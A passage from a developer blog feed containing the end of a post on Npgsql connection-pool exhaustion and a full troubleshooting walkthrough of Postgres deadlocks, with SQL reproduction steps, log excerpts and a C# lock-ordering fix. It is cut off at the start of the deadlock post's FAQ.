  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Pool sizing is derived from <code class="language-plaintext highlighter-rouge">arrival rate × hold time</code>, with hold time measured from connection open to close, not from query duration</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><code class="language-plaintext highlighter-rouge">idle_in_transaction_session_timeout</code> is non-zero in production, set above the slowest legitimate transaction</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Npgsql’s <code class="language-plaintext highlighter-rouge">db.client.connection.count</code> (used) against <code class="language-plaintext highlighter-rouge">db.client.connection.max</code> is dashboarded and alerted before it reaches <code class="language-plaintext highlighter-rouge">Max Pool Size</code></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Triage for a pool-exhaustion alert starts by grouping <code class="language-plaintext highlighter-rouge">pg_stat_activity</code> by <code class="language-plaintext highlighter-rouge">state</code>, to separate <code class="language-plaintext highlighter-rouge">idle in transaction</code> from <code class="language-plaintext highlighter-rouge">active</code> before anyone resizes anything</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Work split out of a transaction is made recoverable with an idempotency key and a status guard in the <code class="language-plaintext highlighter-rouge">WHERE</code> clause, not left to a retry</li>
</ul>

<h2 id="faq">FAQ</h2>

<p><strong>How can the pool be exhausted when the database reports only two active queries?</strong></p>

<p>Because <code class="language-plaintext highlighter-rouge">active</code> and <code class="language-plaintext highlighter-rouge">checked out of the pool</code> measure different things. A connector is checked out for the whole time the application holds it, while <code class="language-plaintext highlighter-rouge">state = active</code> is only true while a statement is executing. During the 2.4-second gateway call the connector is checked out and the backend is <code class="language-plaintext highlighter-rouge">idle in transaction</code> — occupied from the pool’s perspective, idle from the database’s. Grouping <code class="language-plaintext highlighter-rouge">pg_stat_activity</code> by <code class="language-plaintext highlighter-rouge">state</code> is what makes the two views line up.</p>

<p><strong>Why does <code class="language-plaintext highlighter-rouge">wait_event = ClientRead</code> prove the database is not the bottleneck?</strong></p>

<p><code class="language-plaintext highlighter-rouge">ClientRead</code> is documented as “Waiting to read data from the client.” It means the backend has finished everything asked of it and is blocked on the socket waiting for the next command. If the database were the constraint, the wait event would be a <code class="language-plaintext highlighter-rouge">Lock</code>, <code class="language-plaintext highlighter-rouge">LWLock</code>, or <code class="language-plaintext highlighter-rouge">IO</code> type instead. <code class="language-plaintext highlighter-rouge">Client</code> as the <code class="language-plaintext highlighter-rouge">wait_event_type</code> points the investigation back across the socket by definition.</p>

<p><strong>Would raising <code class="language-plaintext highlighter-rouge">Timeout</code> from 15 seconds fix it instead of raising <code class="language-plaintext highlighter-rouge">Max Pool Size</code>?</strong></p>

<p>No — it converts a fast failure into a slow one. <code class="language-plaintext highlighter-rouge">Timeout</code> only controls how long a request waits on the pool’s queue before throwing. At 97% steady-state utilization the queue is not draining faster than it fills, so a longer timeout means requests sit longer, hold more application threads, and fail anyway. Both knobs in the exception message are the wrong lever here, which is worth remembering given the message names them.</p>

<p><strong>Is a single 2.4-second transaction actually a problem, or only at 40 requests/second?</strong></p>

<p>The arithmetic is the answer: occupancy is arrival rate times hold time, so a 2.4-second hold is harmless at 1 request/second (2.4 connections) and fatal at 40 (96.7 connections). That is why this class of bug ships cleanly, passes staging, and fails at a specific traffic level — the defect is fixed, and only one term in the product changed.</p>

<h2 id="source">Source</h2>

<ul>
  <li><strong>Symptom:</strong> <code class="language-plaintext highlighter-rouge">The connection pool has been exhausted</code> from Npgsql while Postgres reports 4% CPU and two active queries</li>
  <li><strong>Domain:</strong> databases</li>
  <li><strong>Docs/Repo:</strong> <a href="https://github.com/npgsql/npgsql/blob/main/src/Npgsql/PoolingDataSource.cs"><code class="language-plaintext highlighter-rouge">npgsql/npgsql</code> → <code class="language-plaintext highlighter-rouge">src/Npgsql/PoolingDataSource.cs</code></a> — the exhaustion exception is thrown here after the wait-queue read is cancelled, with <code class="language-plaintext highlighter-rouge">MaxConnections</code> and <code class="language-plaintext highlighter-rouge">Settings.Timeout</code> interpolated into the message</li>
  <li><strong>Docs/Repo:</strong> <a href="https://www.npgsql.org/doc/connection-string-parameters.html">Npgsql — Connection String Parameters</a> — establishes <code class="language-plaintext highlighter-rouge">Timeout</code> default 15, <code class="language-plaintext highlighter-rouge">Maximum Pool Size</code> default 100</li>
  <li><strong>Docs/Repo:</strong> <a href="https://www.npgsql.org/doc/diagnostics/metrics.html">Npgsql — Metrics</a> — establishes the <code class="language-plaintext highlighter-rouge">Npgsql</code> meter and <code class="language-plaintext highlighter-rouge">db.client.connection.count</code> / <code class="language-plaintext highlighter-rouge">db.client.connection.max</code></li>
  <li><strong>Docs/Repo:</strong> <a href="https://www.postgresql.org/docs/current/monitoring-stats.html">PostgreSQL — <code class="language-plaintext highlighter-rouge">pg_stat_activity</code> and wait events</a> — establishes <code class="language-plaintext highlighter-rouge">idle in transaction</code> state, <code class="language-plaintext highlighter-rouge">ClientRead</code> wait event, <code class="language-plaintext highlighter-rouge">xact_start</code> / <code class="language-plaintext highlighter-rouge">state_change</code></li>
  <li><strong>Docs/Repo:</strong> <a href="https://www.postgresql.org/docs/current/runtime-config-client.html">PostgreSQL — Client Connection Defaults</a> — establishes <code class="language-plaintext highlighter-rouge">idle_in_transaction_session_timeout</code> and <code class="language-plaintext highlighter-rouge">transaction_timeout</code> defaults of <code class="language-plaintext highlighter-rouge">0</code></li>
</ul>]]></content><author><name>Mayur</name></author><category term="databases" /><category term="databases" /><category term="troubleshooting" /><category term="debugging" /><category term="postgresql" /><category term="connection-pooling" /><category term="npgsql" /><summary type="html"><![CDATA[A scenario-based debugging walkthrough: Npgsql throws connection pool has been exhausted while Postgres sits at 4% CPU with two active queries. The root cause is a transaction held open across a 2.4-second external HTTP call, so pooled connections are occupied without the database doing any work. Trace the fix through pg_stat_activity state = idle in transaction, wait_event ClientRead, and Little's Law pool sizing.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://mayurjp.github.io/dev-blog/assets/og/db-connection-pool-exhaustion.png" /><media:content medium="image" url="https://mayurjp.github.io/dev-blog/assets/og/db-connection-pool-exhaustion.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Databases: Why Do Two Transactions Deadlock Only Under Concurrent Load?</title><link href="https://mayurjp.github.io/dev-blog/databases/db-deadlocks-under-load/" rel="alternate" type="text/html" title="Databases: Why Do Two Transactions Deadlock Only Under Concurrent Load?" /><published>2026-09-03T03:30:00+00:00</published><updated>2026-09-03T03:30:00+00:00</updated><id>https://mayurjp.github.io/dev-blog/databases/db-deadlocks-under-load</id><content type="html" xml:base="https://mayurjp.github.io/dev-blog/databases/db-deadlocks-under-load/"><![CDATA[<p><strong>TL;DR:</strong> Two code paths update the same two rows in opposite order. Each holds the row lock the other is waiting on, and because a row lock in Postgres is released only at commit, neither can ever yield — so the deadlock detector kills one of them. Adding a retry makes the error go away without making the collision go away.</p>
<blockquote>
  <p><strong>In plain English (30 sec):</strong> Think of this like concepts you already use, but in a production system at scale.</p>
</blockquote>

<h2 id="the-symptom">The symptom</h2>

<blockquote>
  <p>“We get 30 to 40 <code class="language-plaintext highlighter-rouge">deadlock detected</code> errors an hour, but only between 11:00 and 14:00 when traffic peaks. It’s always the same two statements in the log. Both transactions are tiny — two <code class="language-plaintext highlighter-rouge">UPDATE</code>s each, no long-running queries, no reports. Staging has never produced one, and I can’t reproduce it locally no matter how fast I click. Our retry wrapper catches them so users mostly don’t notice, but the error rate is climbing week over week.”</p>
</blockquote>

<p>The first three guesses do not survive the log. It is not a long-running transaction holding locks — both transactions are two statements long and normally commit in under 5ms. It is not a missing index causing lock escalation — Postgres has no lock escalation, and both statements are primary-key <code class="language-plaintext highlighter-rouge">UPDATE</code>s. And it is not an isolation-level problem — the app runs at the default <code class="language-plaintext highlighter-rouge">READ COMMITTED</code>, and raising the isolation level makes deadlocks <em>more</em> likely, not less.</p>

<p>What makes it non-obvious is that both transactions are individually correct, individually fast, and individually deadlock-free. The bug only exists in the relationship between them.</p>

<h2 id="reproduce">Reproduce</h2>

<p>Two <code class="language-plaintext highlighter-rouge">psql</code> sessions and four statements. No load generator required — the concurrency just has to be <em>deliberate</em>.</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">-- Setup</span>
<span class="k">CREATE</span> <span class="k">TABLE</span> <span class="n">accounts</span> <span class="p">(</span>
    <span class="n">id</span>      <span class="nb">bigint</span> <span class="k">PRIMARY</span> <span class="k">KEY</span><span class="p">,</span>
    <span class="n">balance</span> <span class="nb">bigint</span> <span class="k">NOT</span> <span class="k">NULL</span>
<span class="p">);</span>
<span class="k">INSERT</span> <span class="k">INTO</span> <span class="n">accounts</span> <span class="k">VALUES</span> <span class="p">(</span><span class="mi">17</span><span class="p">,</span> <span class="mi">500000</span><span class="p">),</span> <span class="p">(</span><span class="mi">42</span><span class="p">,</span> <span class="mi">500000</span><span class="p">);</span>
</code></pre></div></div>

<p>Run these interleaved, one line at a time, alternating sessions:</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">-- Session A: transfer 100 from account 42 to account 17</span>
<span class="k">BEGIN</span><span class="p">;</span>
<span class="k">UPDATE</span> <span class="n">accounts</span> <span class="k">SET</span> <span class="n">balance</span> <span class="o">=</span> <span class="n">balance</span> <span class="o">-</span> <span class="mi">100</span> <span class="k">WHERE</span> <span class="n">id</span> <span class="o">=</span> <span class="mi">42</span><span class="p">;</span>   <span class="c1">-- (1) takes the row lock on 42</span>

<span class="c1">-- Session B: settle a refund, 250 from account 17 to account 42</span>
<span class="k">BEGIN</span><span class="p">;</span>
<span class="k">UPDATE</span> <span class="n">accounts</span> <span class="k">SET</span> <span class="n">balance</span> <span class="o">=</span> <span class="n">balance</span> <span class="o">-</span> <span class="mi">250</span> <span class="k">WHERE</span> <span class="n">id</span> <span class="o">=</span> <span class="mi">17</span><span class="p">;</span>   <span class="c1">-- (2) takes the row lock on 17</span>

<span class="c1">-- Session A (continued)</span>
<span class="k">UPDATE</span> <span class="n">accounts</span> <span class="k">SET</span> <span class="n">balance</span> <span class="o">=</span> <span class="n">balance</span> <span class="o">+</span> <span class="mi">100</span> <span class="k">WHERE</span> <span class="n">id</span> <span class="o">=</span> <span class="mi">17</span><span class="p">;</span>   <span class="c1">-- (3) BLOCKS on B</span>

<span class="c1">-- Session B (continued)</span>
<span class="k">UPDATE</span> <span class="n">accounts</span> <span class="k">SET</span> <span class="n">balance</span> <span class="o">=</span> <span class="n">balance</span> <span class="o">+</span> <span class="mi">250</span> <span class="k">WHERE</span> <span class="n">id</span> <span class="o">=</span> <span class="mi">42</span><span class="p">;</span>   <span class="c1">-- (4) BLOCKS on A -&gt; deadlock</span>
</code></pre></div></div>

<p>Statement (4) hangs for exactly one second and then one of the two sessions dies. The one-second pause is not network latency — it is <code class="language-plaintext highlighter-rouge">deadlock_timeout</code>, and it is the single most useful clue in the whole incident.</p>

<h2 id="the-root-cause-chain">The root cause chain</h2>

<h3 id="1-the-immediate-trigger-read-the-detail-block-not-the-error-line">1. The immediate trigger: read the DETAIL block, not the ERROR line</h3>

<p>The client sees this:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ERROR:  deadlock detected
DETAIL:  Process 4471 waits for ShareLock on transaction 90144; blocked by process 4488.
Process 4488 waits for ShareLock on transaction 90143; blocked by process 4471.
HINT:  See server log for query details.
CONTEXT:  while updating tuple (0,17) in relation "accounts"
SQLSTATE: 40P01
</code></pre></div></div>

<p>The server log — and <em>only</em> the server log — carries two extra lines the client never receives:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>2026-09-01 11:47:22.918 IST [4471] DETAIL:  Process 4471 waits for ShareLock on transaction 90144; blocked by process 4488.
	Process 4488 waits for ShareLock on transaction 90143; blocked by process 4471.
	Process 4471: UPDATE accounts SET balance = balance + $1 WHERE id = $2
	Process 4488: UPDATE accounts SET balance = balance + $1 WHERE id = $2
2026-09-01 11:47:22.918 IST [4471] STATEMENT:  UPDATE accounts SET balance = balance + $1 WHERE id = $2
</code></pre></div></div>

<p>That asymmetry is deliberate in the Postgres source: <code class="language-plaintext highlighter-rouge">DeadLockReport()</code> builds two separate buffers and emits the query text through <code class="language-plaintext highlighter-rouge">errdetail_log()</code>, which goes to the log only, while the wait-for lines go out through <code class="language-plaintext highlighter-rouge">errdetail_internal()</code> to both. This is why chasing a deadlock from an application exception message alone is a dead end — <strong>the statements involved are never in the exception</strong>, which is exactly what <code class="language-plaintext highlighter-rouge">HINT: See server log for query details.</code> is telling you.</p>

<p>Three things to extract from the block:</p>

<ul>
  <li><strong><code class="language-plaintext highlighter-rouge">ShareLock on transaction 90144</code>, not a lock on a row.</strong> The two <code class="language-plaintext highlighter-rouge">waits for</code> lines form a cycle, and the cycle is what the detector found.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">CONTEXT: while updating tuple (0,17) in relation "accounts"</code></strong> names the physical tuple and the table. That string is emitted by <code class="language-plaintext highlighter-rouge">XactLockTableWaitErrorCb</code> in <code class="language-plaintext highlighter-rouge">src/backend/storage/lmgr/lmgr.c</code> for the <code class="language-plaintext highlighter-rouge">XLTW_Update</code> operation — so the wait is definitively an <code class="language-plaintext highlighter-rouge">UPDATE</code> waiting on a row, not an index or DDL wait.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">SQLSTATE 40P01</code></strong> (<code class="language-plaintext highlighter-rouge">ERRCODE_T_R_DEADLOCK_DETECTED</code>). Note it is <em>not</em> <code class="language-plaintext highlighter-rouge">40001</code> (<code class="language-plaintext highlighter-rouge">serialization_failure</code>) — that distinction matters for the fix, below.</li>
</ul>

<h3 id="2-the-mechanism-a-row-lock-is-a-wait-on-the-holders-transaction-id-and-it-is-only-released-at-commit">2. The mechanism: a row lock is a wait on the <em>holder’s transaction ID</em>, and it is only released at commit</h3>

<p>The confusing part of the DETAIL is that nobody asked for a lock on transaction 90144. Here is what actually happens.</p>

<p>When <code class="language-plaintext highlighter-rouge">UPDATE</code> modifies a row, it stamps the row’s <code class="language-plaintext highlighter-rouge">xmax</code> header field with the updating transaction’s ID. There is no entry in the lock manager for “row 42 is locked” — the lock lives in the tuple itself, which is why Postgres can hold millions of row locks without a lock table and has no lock escalation at all.</p>

<p>So when a second transaction reaches that row, it cannot find a row lock to queue on. Instead it reads <code class="language-plaintext highlighter-rouge">xmax</code>, sees transaction 90144, and calls <code class="language-plaintext highlighter-rouge">XactLockTableWait()</code> — which does exactly this:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/* src/backend/storage/lmgr/lmgr.c — XactLockTableWait() */</span>
<span class="n">SET_LOCKTAG_TRANSACTION</span><span class="p">(</span><span class="n">tag</span><span class="p">,</span> <span class="n">xid</span><span class="p">);</span>

<span class="cm">/* Acquire ShareLock on the HOLDER's transaction-ID lock.
   Every transaction holds ExclusiveLock on its own XID for its
   entire lifetime, so this blocks until that transaction ends. */</span>
<span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="n">LockAcquire</span><span class="p">(</span><span class="o">&amp;</span><span class="n">tag</span><span class="p">,</span> <span class="n">ShareLock</span><span class="p">,</span> <span class="nb">false</span><span class="p">,</span> <span class="nb">false</span><span class="p">);</span>
<span class="n">LockRelease</span><span class="p">(</span><span class="o">&amp;</span><span class="n">tag</span><span class="p">,</span> <span class="n">ShareLock</span><span class="p">,</span> <span class="nb">false</span><span class="p">);</span>
</code></pre></div></div>

<p>Every transaction holds <code class="language-plaintext highlighter-rouge">ExclusiveLock</code> on its own transaction-ID lock from the moment it gets an XID until it commits or aborts. Waiting for a row therefore becomes waiting for a <em>transaction</em>, and the wait ends only when that transaction ends. <strong>There is no mechanism for a transaction to release a row lock early</strong> — no lock downgrade, no timeout-and-yield. That property is what turns a mutual wait into a permanent one.</p>

<p>Now the cycle. Session A holds 42 and wants 17. Session B holds 17 and wants 42. Neither can proceed and neither can back off.</p>

<h3 id="3-the-confirming-evidence-deadlock_timeout-and-why-staging-never-saw-it">3. The confirming evidence: <code class="language-plaintext highlighter-rouge">deadlock_timeout</code>, and why staging never saw it</h3>

<p>Postgres does not detect the cycle immediately. From the documentation for <code class="language-plaintext highlighter-rouge">deadlock_timeout</code> (default <strong><code class="language-plaintext highlighter-rouge">1s</code></strong>):</p>

<blockquote>
  <p>“The check for deadlock is relatively expensive, so the server doesn’t run it every time it waits for a lock. We optimistically assume that deadlocks are not common in production applications and just wait on the lock for a while before checking for a deadlock.”</p>
</blockquote>

<p>So a waiter blocks for a full second first, and only then runs <code class="language-plaintext highlighter-rouge">DeadLockCheck</code> over the wait-for graph. That one second is why this scales so badly: <strong>every deadlock costs both transactions a second of held connections and held locks before anyone is even told there is a problem.</strong> At 40 deadlocks an hour that is not the error rate hurting you, it is the 80 transaction-seconds of stalled work behind it.</p>

<p>It also explains staging. The overlap window is the gap between statement (1) and statement (3) — roughly 2ms of application time. Two transactions must enter that 2ms window simultaneously <em>and</em> be touching the same pair of account rows. At staging’s 3 requests/second the odds are negligible. At production’s 900 requests/second across a hot set of merchant accounts, it happens dozens of times an hour. The bug was always there. Concurrency only made it observable.</p>

<p>Confirm the rate independently of the log:</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">-- Cluster-wide counter, incremented by pgstat_report_deadlock() in DeadLockReport()</span>
<span class="k">SELECT</span> <span class="n">datname</span><span class="p">,</span> <span class="n">deadlocks</span><span class="p">,</span> <span class="n">xact_commit</span><span class="p">,</span> <span class="n">xact_rollback</span>
<span class="k">FROM</span> <span class="n">pg_stat_database</span> <span class="k">WHERE</span> <span class="n">datname</span> <span class="o">=</span> <span class="n">current_database</span><span class="p">();</span>
</code></pre></div></div>

<p>And catch the waits <em>before</em> they become deadlocks — <code class="language-plaintext highlighter-rouge">log_lock_waits</code> defaults to <code class="language-plaintext highlighter-rouge">off</code>, and when enabled it logs any wait longer than <code class="language-plaintext highlighter-rouge">deadlock_timeout</code>:</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">ALTER</span> <span class="k">SYSTEM</span> <span class="k">SET</span> <span class="n">log_lock_waits</span> <span class="o">=</span> <span class="k">on</span><span class="p">;</span>
<span class="k">SELECT</span> <span class="n">pg_reload_conf</span><span class="p">();</span>
</code></pre></div></div>

<pre><code class="language-mermaid">sequenceDiagram
    participant A as "Session A — TransferAsync xid 90143"
    participant PG as "Postgres lock manager"
    participant B as "Session B — SettleRefundAsync xid 90144"

    A-&gt;&gt;PG: UPDATE accounts id=42 — stamps xmax=90143
    B-&gt;&gt;PG: UPDATE accounts id=17 — stamps xmax=90144
    Note over A,B: both succeed — no conflict yet, 2 ms apart

    A-&gt;&gt;PG: UPDATE accounts id=17
    PG--&gt;&gt;A: xmax=90144 — XactLockTableWait, ShareLock on transaction 90144
    B-&gt;&gt;PG: UPDATE accounts id=42
    PG--&gt;&gt;B: xmax=90143 — XactLockTableWait, ShareLock on transaction 90143

    Note over A,B: CYCLE — each waits on the other's XID lock,&lt;br/&gt;held until commit, with no early release

    loop deadlock_timeout = 1s
        PG-&gt;&gt;PG: waiter blocked, no check yet
    end
    PG-&gt;&gt;PG: DeadLockCheck walks the wait-for graph, finds the cycle
    PG--&gt;&gt;B: ERROR 40P01 deadlock detected&lt;br/&gt;CONTEXT while updating tuple (0,42) in relation accounts
    Note over B: victim rolls back — 1s of work discarded
    PG--&gt;&gt;A: UPDATE id=17 proceeds, A commits

    rect rgb(253, 236, 234)
    Note over A,B: 1 full second of two held connections&lt;br/&gt;before anyone learns anything is wrong
    end
</code></pre>

<h2 id="the-fix">The fix</h2>

<p>Find the two code paths and make them acquire rows in the same order. Here they are:</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Path 1 — PaymentService.TransferAsync: locks SOURCE first, then DESTINATION</span>
<span class="k">await</span> <span class="n">conn</span><span class="p">.</span><span class="nf">ExecuteAsync</span><span class="p">(</span><span class="s">"UPDATE accounts SET balance = balance - @amt WHERE id = @id"</span><span class="p">,</span>
                        <span class="k">new</span> <span class="p">{</span> <span class="n">amt</span><span class="p">,</span> <span class="n">id</span> <span class="p">=</span> <span class="n">fromAccountId</span> <span class="p">});</span>
<span class="k">await</span> <span class="n">conn</span><span class="p">.</span><span class="nf">ExecuteAsync</span><span class="p">(</span><span class="s">"UPDATE accounts SET balance = balance + @amt WHERE id = @id"</span><span class="p">,</span>
                        <span class="k">new</span> <span class="p">{</span> <span class="n">amt</span><span class="p">,</span> <span class="n">id</span> <span class="p">=</span> <span class="n">toAccountId</span> <span class="p">});</span>

<span class="c1">// Path 2 — RefundService.SettleRefundAsync: same two rows, REVERSED roles.</span>
<span class="c1">// A refund's source is a transfer's destination. Nothing here looks wrong</span>
<span class="c1">// in isolation — the ordering only conflicts with the OTHER file.</span>
<span class="k">await</span> <span class="n">conn</span><span class="p">.</span><span class="nf">ExecuteAsync</span><span class="p">(</span><span class="s">"UPDATE accounts SET balance = balance - @amt WHERE id = @id"</span><span class="p">,</span>
                        <span class="k">new</span> <span class="p">{</span> <span class="n">amt</span><span class="p">,</span> <span class="n">id</span> <span class="p">=</span> <span class="n">merchantAccountId</span> <span class="p">});</span>
<span class="k">await</span> <span class="n">conn</span><span class="p">.</span><span class="nf">ExecuteAsync</span><span class="p">(</span><span class="s">"UPDATE accounts SET balance = balance + @amt WHERE id = @id"</span><span class="p">,</span>
                        <span class="k">new</span> <span class="p">{</span> <span class="n">amt</span><span class="p">,</span> <span class="n">id</span> <span class="p">=</span> <span class="n">customerAccountId</span> <span class="p">});</span>
</code></pre></div></div>

<p>Nothing is wrong with either file. The defect is that “source first” is a <em>local</em> ordering rule, and two call sites disagree about which account is the source.</p>

<p>Replace it with a <strong>global</strong> ordering rule that does not depend on the caller’s semantics — ascending primary key:</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Deterministic lock ordering: sort by the primary key, then apply the deltas.</span>
<span class="c1">// Any two transactions touching an overlapping row set now acquire the shared</span>
<span class="c1">// rows in identical order, so the wait-for graph can no longer contain a cycle.</span>
<span class="kt">var</span> <span class="n">deltas</span> <span class="p">=</span> <span class="k">new</span> <span class="n">Dictionary</span><span class="p">&lt;</span><span class="kt">long</span><span class="p">,</span> <span class="kt">long</span><span class="p">&gt;</span> <span class="p">{</span> <span class="p">[</span><span class="n">fromAccountId</span><span class="p">]</span> <span class="p">=</span> <span class="p">-</span><span class="n">amt</span><span class="p">,</span> <span class="p">[</span><span class="n">toAccountId</span><span class="p">]</span> <span class="p">=</span> <span class="p">+</span><span class="n">amt</span> <span class="p">};</span>

<span class="k">await</span> <span class="k">using</span> <span class="nn">var</span> <span class="n">tx</span> <span class="p">=</span> <span class="k">await</span> <span class="n">conn</span><span class="p">.</span><span class="nf">BeginTransactionAsync</span><span class="p">();</span>
<span class="k">foreach</span> <span class="p">(</span><span class="kt">var</span> <span class="p">(</span><span class="n">accountId</span><span class="p">,</span> <span class="n">delta</span><span class="p">)</span> <span class="k">in</span> <span class="n">deltas</span><span class="p">.</span><span class="nf">OrderBy</span><span class="p">(</span><span class="n">kv</span> <span class="p">=&gt;</span> <span class="n">kv</span><span class="p">.</span><span class="n">Key</span><span class="p">))</span>
<span class="p">{</span>
    <span class="k">await</span> <span class="n">conn</span><span class="p">.</span><span class="nf">ExecuteAsync</span><span class="p">(</span>
        <span class="s">"UPDATE accounts SET balance = balance + @delta WHERE id = @id"</span><span class="p">,</span>
        <span class="k">new</span> <span class="p">{</span> <span class="n">delta</span><span class="p">,</span> <span class="n">id</span> <span class="p">=</span> <span class="n">accountId</span> <span class="p">},</span> <span class="n">tx</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">await</span> <span class="n">tx</span><span class="p">.</span><span class="nf">CommitAsync</span><span class="p">();</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">OrderBy(kv =&gt; kv.Key)</code> is the entire fix. With it, whichever transaction reaches account 17 first also reaches account 42 first, so the second one waits once and then proceeds. A cycle requires two transactions to disagree about order, and now none can.</p>

<p>The <code class="language-plaintext highlighter-rouge">Dictionary</code> matters too: enumerating a <code class="language-plaintext highlighter-rouge">HashSet</code> or <code class="language-plaintext highlighter-rouge">Dictionary</code> unsorted gives an order that is not guaranteed stable across runs, which is a common way this bug gets introduced by an ORM batching change rather than by anyone writing ordering code.</p>

<h3 id="why-the-retry-wrapper-is-a-band-aid-not-a-fix">Why the retry wrapper is a band-aid, not a fix</h3>

<p>The team already catches <code class="language-plaintext highlighter-rouge">40P01</code> and retries, and the retry does succeed. It is still the wrong resting state, for three reasons this post has established:</p>

<ol>
  <li><strong>It does not reduce the collision rate.</strong> The retried transaction re-enters with the same ordering logic against the same hot rows, so its probability of colliding again is unchanged. As traffic grows the collision rate grows with it, and the retry count grows with the collision rate.</li>
  <li><strong>Detection costs a fixed second, every time.</strong> <code class="language-plaintext highlighter-rouge">deadlock_timeout</code> is 1s by default. Every deadlock burns that second on two connections <em>before</em> the retry even begins — so the retry hides the error while the latency and connection-occupancy cost stay fully paid.</li>
  <li><strong>A retry after a deadlock is a rollback of real work.</strong> The victim’s entire transaction is discarded, including any statements before the conflicting one. If the transaction has side effects that are not transactional, the retry re-runs them.</li>
</ol>

<p>Keep the retry as a safety net for the genuinely unavoidable conflicts. Do not let it be the reason nobody fixes the ordering.</p>

<h3 id="what-will-not-help">What will not help</h3>

<p>Raising the isolation level does not prevent this. Deadlocks are lock cycles, detected by <code class="language-plaintext highlighter-rouge">DeadLockCheck</code> and reported as <code class="language-plaintext highlighter-rouge">40P01</code>. <code class="language-plaintext highlighter-rouge">SERIALIZABLE</code> adds Serializable Snapshot Isolation, which reports <em>serialization anomalies</em> as <code class="language-plaintext highlighter-rouge">40001</code> — a different error from a different mechanism. Under <code class="language-plaintext highlighter-rouge">SERIALIZABLE</code> you get both failure modes, not fewer.</p>

<h2 id="deeper-checks-for-production">Deeper checks for production</h2>

<ol>
  <li>
    <p><strong>Turn on <code class="language-plaintext highlighter-rouge">log_lock_waits</code> and shorten <code class="language-plaintext highlighter-rouge">deadlock_timeout</code> for a diagnostic window.</strong> With <code class="language-plaintext highlighter-rouge">log_lock_waits = on</code>, any wait exceeding <code class="language-plaintext highlighter-rouge">deadlock_timeout</code> is logged even when it never becomes a deadlock — which surfaces the near-misses that predict where the next deadlock pair lives. The documentation explicitly suggests the pairing: <em>“If you are trying to investigate locking delays you might want to set a shorter than normal <code class="language-plaintext highlighter-rouge">deadlock_timeout</code>.”</em> Set it back afterwards, since the check is genuinely expensive.</p>
  </li>
  <li>
    <p><strong>Bound lock waits with <code class="language-plaintext highlighter-rouge">lock_timeout</code> instead of waiting forever.</strong> It defaults to <code class="language-plaintext highlighter-rouge">0</code> (disabled), so a transaction blocked behind a slow holder waits indefinitely and occupies a connection the whole time. A session-level <code class="language-plaintext highlighter-rouge">SET lock_timeout = '3s'</code> converts an unbounded stall into a fast, retryable error your circuit breaker can see.</p>
  </li>
  <li>
    <p><strong>Alert on <code class="language-plaintext highlighter-rouge">pg_stat_database.deadlocks</code> as a rate, not a threshold.</strong> The counter is cumulative since the last stats reset, so the useful signal is its first derivative. A step change in deadlocks/minute after a deploy is the cheapest possible detector for someone having just introduced a second lock ordering.</p>
  </li>
  <li>
    <p><strong>Watch for the foreign-key deadlock this one usually travels with.</strong> Inserting a child row takes a <code class="language-plaintext highlighter-rouge">FOR KEY SHARE</code> lock on the referenced parent row to keep the FK valid. A workload that inserts <code class="language-plaintext highlighter-rouge">order_items</code> while another path updates the parent <code class="language-plaintext highlighter-rouge">orders</code> row produces the same cycle shape between two statements that look completely unrelated — and the <code class="language-plaintext highlighter-rouge">CONTEXT</code> line will name the <em>parent</em> table, not the one you inserted into.</p>
  </li>
</ol>

<h2 id="prevention-checklist">Prevention checklist</h2>

<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Every multi-row write path sorts its target rows by primary key before issuing <code class="language-plaintext highlighter-rouge">UPDATE</code>s, so lock order is global rather than derived from caller semantics</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />No write path enumerates a <code class="language-plaintext highlighter-rouge">Dictionary</code> or <code class="language-plaintext highlighter-rouge">HashSet</code> to decide statement order — the iteration order is not a stability guarantee</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><code class="language-plaintext highlighter-rouge">log_lock_waits = on</code> in production, so waits longer than <code class="language-plaintext highlighter-rouge">deadlock_timeout</code> are logged before they become deadlocks</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><code class="language-plaintext highlighter-rouge">pg_stat_database.deadlocks</code> is scraped and alerted on as a per-minute rate, tied to deploys</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Deadlock triage starts from the server log’s <code class="language-plaintext highlighter-rouge">DETAIL</code> block and <code class="language-plaintext highlighter-rouge">CONTEXT</code> line, because the client exception never contains the statements</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><code class="language-plaintext highlighter-rouge">lock_timeout</code> is set to a non-zero value so a blocked transaction cannot hold a pooled connection indefinitely</li>
</ul>

<h2 id="faq">FAQ</h2>

<p><strong>Why does the DETAIL say <code class="language-plaintext highlighter-rouge">ShareLock on transaction 90144</code> when the code was updating a row?</strong></p>

